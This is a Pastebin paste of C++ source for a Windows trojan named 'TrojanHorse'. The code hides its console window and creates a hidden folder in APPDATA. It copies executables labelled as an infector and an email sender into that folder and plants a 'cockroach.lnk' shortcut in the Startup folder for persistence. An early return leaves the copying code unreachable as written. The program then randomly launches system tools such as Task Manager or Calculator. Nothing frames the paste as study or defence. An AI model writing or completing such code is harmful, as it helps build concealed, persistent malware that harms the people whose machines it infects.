Advertisement
FR13NDSS

Untitled

May 21st, 2019
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.37 KB | None | 0 0
  1. #define FOLDER_NAME "trojanhorse"  //containing folder
  2. #define RUN_FILE_NAME "TrojanHorse.exe"  //main run file
  3. #define RUN_LINK_NAME "TrojanHorse.lnk"  //starter link
  4. #define INFECT_FILE_NAME "Infect.exe"  //infects computer
  5. #define INFECT_LINK_NAME "Infect.lnk"  //link file
  6. #define EMAIL_SENDER_FILE_NAME "Transmit.exe"  //email sender
  7.  
  8. #include <windows.h>
  9. #include <string>
  10. #include <time.h>
  11.  
  12. main(){
  13.     FreeConsole();  //window is not visible
  14.  
  15.     char* appdataFolder = getenv("APPDATA");
  16.  
  17.     char folderPath[100] = {""};
  18.     strcat(folderPath, appdataFolder);
  19.     strcat(folderPath, "\\");
  20.     strcat(folderPath, FOLDER_NAME);
  21.  
  22.     if(CreateDirectory(folderPath ,NULL))    //if directory creation does not fail
  23.     {
  24.         SetFileAttributes(folderPath, FILE_ATTRIBUTE_HIDDEN);
  25.         return; // :)
  26.  
  27.         ///////////////////////////
  28.         char run[100]={""};
  29.         strcat(run, folderPath);
  30.         strcat(run, "\\");
  31.         strcat(run, RUN_FILE_NAME);
  32.  
  33.         char run_from[100]={""};
  34.         strcat(run_from, FOLDER_NAME);
  35.         strcat(run_from, "\\");
  36.         strcat(run_from, RUN_FILE_NAME);
  37.  
  38.         CopyFile(run_from, run, 0);
  39.  
  40.         ///////////////////////////
  41.         char net[100]={""};
  42.         strcat(net, folderPath);
  43.         strcat(net, "\\");
  44.         strcat(net, EMAIL_SENDER_FILE_NAME);
  45.  
  46.         char net_from[100]={""};
  47.         strcat(net_from, FOLDER_NAME);
  48.         strcat(net_from, "\\");
  49.         strcat(net_from, EMAIL_SENDER_FILE_NAME);
  50.  
  51.         CopyFile(net_from, net, 0);
  52.  
  53.         //////////////////////////
  54.         char infect[100]={""};
  55.         strcat(infect, folderPath);
  56.         strcat(infect, "\\");
  57.         strcat(infect, INFECT_FILE_NAME);
  58.  
  59.         char infect_from[100]={""};
  60.         strcat(infect_from, FOLDER_NAME);
  61.         strcat(infect_from, "\\");
  62.         strcat(infect_from, INFECT_FILE_NAME);
  63.  
  64.         CopyFile(infect_from, infect, 0);
  65.  
  66.         //////////////////////////
  67.         char runlnk[100]={""};
  68.         strcat(runlnk, folderPath);
  69.         strcat(runlnk, "\\");
  70.         strcat(runlnk, RUN_LINK_NAME);
  71.  
  72.         char runlnk_from[100]={""};
  73.         strcat(runlnk_from, FOLDER_NAME);
  74.         strcat(runlnk_from, "\\");
  75.         strcat(runlnk_from, RUN_LINK_NAME);
  76.  
  77.         CopyFile(runlnk_from, runlnk, 0);
  78.  
  79.         ///////////////////////////
  80.         char infectlnk[100]={""};
  81.         strcat(infectlnk, folderPath);
  82.         strcat(infectlnk, "\\");
  83.         strcat(infectlnk, INFECT_LINK_NAME);
  84.  
  85.         char infectlnk_from[100]={""};
  86.         strcat(infectlnk_from, FOLDER_NAME);
  87.         strcat(infectlnk_from, "\\");
  88.         strcat(infectlnk_from, INFECT_LINK_NAME);
  89.  
  90.         CopyFile(infectlnk_from, infectlnk, 0);
  91.  
  92.         /////////////////////////////////////////////////////////
  93.         char tasklnkauto[100] = {""};
  94.         strcat(tasklnkauto, appdataFolder);
  95.         strcat(tasklnkauto, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cockroach.lnk");
  96.  
  97.         CopyFile(runlnk_from, tasklnkauto, 0);
  98.         //SetFileAttributes(tasklnkauto, FILE_ATTRIBUTE_HIDDEN);
  99.     }
  100.  
  101.  
  102.     srand(time(0));
  103.     int random = rand();
  104.  
  105.     if(random%5 == 0){
  106.         system("start taskmgr /Performance");
  107.     }else if(random%3 == 0){
  108.         system("start diskmgmt");
  109.     }else if(random%2 == 0){
  110.         system("start perfmon /res");
  111.     }else{
  112.         system("start calc");
  113.     }
  114. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement